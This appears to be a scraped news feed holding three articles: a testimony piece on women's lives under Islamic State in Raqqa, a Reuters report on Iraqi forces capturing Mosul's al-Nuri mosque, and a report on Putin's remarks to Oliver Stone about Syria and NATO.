Khadija, who came to Syria from Tunis to live in Islamic State’s (IS, formerly ISIS/ISIL) Syrian stronghold of Raqqa for three years, told RT that she saw plenty of cruelty and injustice, but no genuine pursuit of religion or Islamic law.
“My husband and I made a huge mistake by coming there. And I advise you not to believe those who say that ISIS is an Islamic state, which preaches Islam and Sharia and lives pursuant to the teachings of Prophet Muhammed and the Koran,” Khadija said.
The militants do not tolerate any dissent and opposition to their reign, she noted.
“Everybody, who takes a stand against them, they behead. And people don’t know when this is going to happen.”
“They are not on righteous path. This is the state of tyranny and Satan. My husband renounced them, and told me to do the same,” Khadija went on to say, adding that she and her husband escaped Raqqa running south to the town of al-Mayadeen and then to Turkey.
But before she made her escape, the young woman got to know IS’s darkest side with its ever-depreciating cost of human life, and in particular, of that of the most vulnerable, women and children.
“There was a lot of evil in the places where women live. Children were suffering from scabies, lice. When children were ill, they did not receive treatment at hospital,” Khadija said.
If women were found to be in violation of the strict code of conduct, imposed by IS, they were locked up in prison-like detention facilities by female watchers, put in charge of “women dormitories.”
“It was sickening to be there,” Khadija said, recounting stories of women in labor seeking help and receiving indifference at best. Women were routinely denied maternity care and forced to deliver babies on the spot.
One woman bled to death during labor after the dormitory’s superintendent refused to help her.
“That poor woman went to the garden, while bleeding heavily, stayed there till morning in a rainy and cold weather. Nobody paid attention to her. And in the morning her husband came, saw her body lying in the garden and passed by, without paying any attention, as nothing happened, as if [she] were a dog,” Khadija said.
In another case, a woman became crippled after her plea to be sent to hospital was rejected despite her saying that he leg was rotting.
While it appears that for a lot of women the life under IS was a living hell, it was not uncommon for the militants to have a sex slave in addition to a wife.
According to Khadija, women who are not sex slaves, are not subjected to the so-called “sex jihad.”
“You go to the city hall and get married. If you have been married and your husband got killed, you just got married to another man,” she said. The completely different story is, however, when a woman is captured and turned into a sex slave.
As a sex slave, a woman is considered to be the property of her owner, to do with as he pleases, for instance, to sell or give as a present.
“The wife and the other woman live separately. He lives with them in turns – one day with one woman, and the other day with another,” Khadija said, noting that despite their superior status lawful wives sometimes envy the Yazidi slave women.
READ MORE: ‘Most wanted’ British jihadist bride now ‘desperate’ to flee ISIS, return to UK
“Many men love Yazidi girls more than their wives,” she said.
A 20-year-old, Nur Al-Khouda, originally from Tripoli, Lebanon, said her husband first joined a Salafi group where he was indoctrinated with IS ideology and left for Syria.
“He persuaded me that there’s nothing bad there and I trusted him as his wife so I arranged all the documents and I joined him in Syria,” the young woman told RT.
The slave trade is a booming market in IS, she said.
“They paid a lot of attention to women’s looks. They bought makeup to sell them for $ 15,000, the virgins were priced at $ 30,000.”
Young girls also became a mere commodity once they are in hands of jihadists, she added, recounting that the militants planned to sell a 10-year-old girl for some $ 10,000.
It was reported the girls as young as 8 are sold at such slave markets. Some 3,000 to 5,000 Yazidi women are believed to be held captive by IS as sex slaves.
]]>
AP Photo/Felipe Dana
MOSUL, Iraq (Reuters) – After eight months of grinding urban warfare, Iraqi government troops on Thursday captured the ruined mosque in Mosul from where Islamic State proclaimed its self-styled caliphate three years ago, the Iraqi military said.
Iraqi authorities expect the long battle for Mosul to end in the coming days as the remaining Islamic State fighters are now bottled up in just a handful of neighborhoods of the Old City.
The seizure of the 850-year-old Grand al-Nuri Mosque is a huge symbolic victory for the Iraqi forces fighting to recapture Mosul, which had served as Islamic State’s de facto capital in Iraq.
“Their fictitious state has fallen,” an Iraqi military spokesman, Brigadier General Yahya Rasool, told state TV.
The insurgents blew up the medieval mosque and its famed leaning minaret a week ago as U.S.-backed Iraqi forces started a push in its direction. Their black flag had been flying from al-Hadba (The Hunchback) minaret since June 2014.
Prime Minister Haider al-Abadi “issued instructions to bring the battle to its conclusion,” his office said.
The fall of Mosul would in effect mark the end of the Iraqi half of the IS caliphate even though the hardline group would still control territory west and south of the city. Its capital in Syria, Raqqa, is also besieged by a U.S.-backed Kurdish-led coalition.
The cost of the battle has been enormous, however. In addition to military casualties, thousands of civilians are estimated to have been killed.
About 900,000 people, nearly half the pre-war population of the northern city, have fled the battle, mostly taking refuge in camps or with relatives and friends, according to aid groups.
Those trapped in the city suffered hunger and deprivation as well as death or injury, and many buildings have been ruined.
REUTERS/Marko Djurica
Counter Terrorism Service (CTS) troops captured the al-Nuri Mosque’s ground in a “lightning operation” on Thursday, a commander of the U.S.-trained elite units told state TV.
Civilians living nearby were evacuated in the past days through corridors, he added.
CTS units are now in control of the mosque area and the al-Hadba and Sirjkhana neighborhoods and they are still advancing, a military statement said.
A U.S.-led international coalition is providing air and ground support to the Iraqi forces fighting through the Old City’s maze of narrow alleyways.
But the advance remains an arduous task as the insurgents are dug in the middle of civilians, using mortar fire, snipers, booby traps and suicide bombers to defend their last redoubt.
The military estimated up to 350 militants were still in the Old City last week but many have been killed since.
They are besieged in one sq km (0.4 square mile) making up less than 40 percent of the Old City and less than one percent of the total area of Mosul, the largest urban center over which they held sway in both Iraq and Syria.
Those residents who have escaped the Old City say many of the civilians trapped behind IS lines — put last week at 50,000 by the Iraqi military — are in a desperate situation with little food, water or medicines.
Baghdadi proclaimed himself “caliph,” or ruler of all Muslims, from the Grand al-Nuri Mosque’s pulpit on July 4, 2014, after the insurgents overran vast swathes of Iraq and Syria.
His speech from the mosque was the first time he revealed himself to the world and the footage broadcast then is to this day the only video recording of him as “caliph”.
He has left the fighting in Mosul to local commanders and is believed to be hiding in the border area between Iraq and Syria, according to U.S. and Iraqi military sources.
Islamic State last week broadcast a video showing much of the mosque and brickwork minaret reduced to rubble. Only the stump of the Hunchback remained, and a dome of the mosque supported by a few pillars which resisted the blast.
The mosque was named after Nuruddin al‑Zanki, a noble who fought the early Crusaders from a fiefdom that covered territory in modern-day Turkey, Syria and Iraq. It was built in 1172-73, shortly before his death, and housed an Islamic school.
The Old City’s stone buildings date mostly from the medieval period. They include market stalls, a few mosques and churches, and small houses built and rebuilt on top of each other over the ages.
(Reporting by Maher Chmaytelli,; Editing by Angus MacSwan)
![]()
Commenting on Russia’s military engagement in Syria, the Russian president highlighted the stark difference in the scope of the operations carried out by the US-led coalition and those conducted by the Russian Air Force at the height of Russia’s involvement in the anti-terrorist campaign.
Putin said, at one point, Russian jets carried out “an average 70-120 strikes per day,” while “the entire international coalition led by the United States [conducted] two, three, five strikes per day.”
“There is a difference. Everyone sees it,” Putin noted.
Moscow has repeatedly stated that its primary goal in Syria is to ensure that the jihadists who came to fight for Islamic State (IS, formerly ISIS, ISIL) will not return to Russia and employ their battleground experience to carry out attacks.
“Thousands of militants from the former Soviet Union and from today’s Russia are fighting there [in Syria], and they can return to us, and we cannot allow it. All this together led us to the actions that you know about [the anti-terrorist campaign in Syria],” Putin said.
The Russian leader said some 30,000 of the 80,000 terrorists operating in Syria are foreign fighters that come “from 80 countries, including Russia,” Putin said.
In April, Russia’s National Security Council estimated that some 2,700 Russian citizens from the country’s predominantly Muslim North Caucasus republics have gone to Syria and Iraq to become jihadist militants.
READ MORE: Russia’s goal in Syria is to ensure national security – PM Medvedev
Nevertheless, talking about the roots of Islamist extremism, Putin argued that “no world religion can be a source of evil.” He also said he believes the “divisions” that are currently “running deep” between Sunnis and Shiites are reconcilable.
“I think they will eventually overcome them,” he told Stone. When asked if Moscow could someday become part of a caliphate, Putin said that Russia “will not allow this to [happen].”
Russia is ready to lend support to Sunni groups fighting IS and Al-Nusra Front, Putin said, adding that Damascus “agrees with that, in principle.”
Commenting on the Syrian government, Putin said “we are perfectly aware of the fact that the current leadership in Syria made certain mistakes in building relations within its own country,” but added that President Bashar Assad acknowledges that Syria has “many problems” and is open to drawing up a new constitution with the participation of opposition groups and holding the country’s next presidential elections under international supervision.
Noting that it is impossible to settle the Syrian conflict without the full-fledged cooperation of all interested parties, including Russia, the US, regional powers such as Saudi Arabia, Jordan, and Egypt, Putin said that Moscow’s priority is not to “ferment the conflict” but to establish a dialog between the opposition and the Syrian government in order to prevent the country from splintering.
READ MORE: ‘Nobody would survive’: Putin to Oliver Stone on ‘hot war’ between Russia & US
“It’s very difficult. It’s difficult to reach a consensus, but direct contact with both sides gives us such a chance. And in general we achieve success,” Putin said, noting that Moscow “acts very carefully” so as not to unravel the fragile progress that has already been made.
On Wednesday, the US Senate approved a measure imposing additional sanctions on Russia, while branding the country’s activities in Syria as “continuing aggression.”
Commenting on NATO, Putin noted that “when NATO comes into this or that country, the political leadership of that country as a whole along with its population has no influence on decisions NATO takes, including the decisions related to stationing the military infrastructure.”
The military alliance presents Russia “an alleged external menace that can only be tackled with US help,” president said, while noting “but very soon everyone is going to understand that there is no threat whatsoever emanating from Russia either to the Baltic states or to Eastern or Western Europe.”
“And the stronger this understanding grows, the greater the desire to protect their [European] sovereignty and to protect their national interests is going to be. I assure you, this constant pressure makes no one happy, so sooner or later this is going to have consequences and eventually going to stop. And it’s better if this happens through dialogue,” he said.
]]>